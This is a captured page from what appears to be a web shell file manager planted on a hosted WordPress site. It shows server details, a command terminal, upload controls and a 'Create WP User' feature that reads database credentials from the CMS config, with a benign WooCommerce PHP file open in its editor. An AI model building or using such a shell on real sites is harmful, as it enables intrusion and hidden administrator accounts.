Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.217.47
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
budomat.net.pl
/
wp-content
/
plugins
/
woocommerce
/
src
/
Internal
/
Customers
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
SearchService.php
1.74 KB
-rw-r--r--
2026-03-03 00:17
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
SearchService.php
<?php declare( strict_types = 1 ); namespace Automattic\WooCommerce\Internal\Customers; use Automattic\WooCommerce\Internal\DataStores\Orders\OrdersTableDataStore; use Automattic\WooCommerce\Utilities\OrderUtil; /** * Internal API for searching users/customers: no backward compatibility obligation. */ final class SearchService { /** * Searches users having the billing email (when applicable lookup orders as well) as specified and returns their id. * * @param string[] $emails Emails to search for. * * @return int[] */ public function find_user_ids_by_billing_email_for_coupons_usage_lookup( array $emails ): array { $emails = array_unique( array_map( 'strtolower', array_map( 'sanitize_email', $emails ) ) ); $include_user_ids = array(); if ( OrderUtil::custom_orders_table_usage_is_enabled() ) { global $wpdb; // phpcs:disable WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $placeholders = implode( ', ', array_fill( 0, count( $emails ), '%s' ) ); $include_user_ids = $wpdb->get_col( $wpdb->prepare( "SELECT DISTINCT customer_id FROM %i WHERE billing_email IN ($placeholders)", OrdersTableDataStore::get_orders_table_name(), ...$emails ) ); // phpcs:enable if ( array() === $include_user_ids ) { return array(); } } $users_query = new \WP_User_Query( array( 'fields' => 'ID', 'include' => $include_user_ids, 'meta_query' => array( // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query array( 'key' => 'billing_email', 'value' => $emails, 'compare' => 'IN', ), ), ) ); return array_map( 'intval', array_unique( $users_query->get_results() ) ); } }
关闭
保存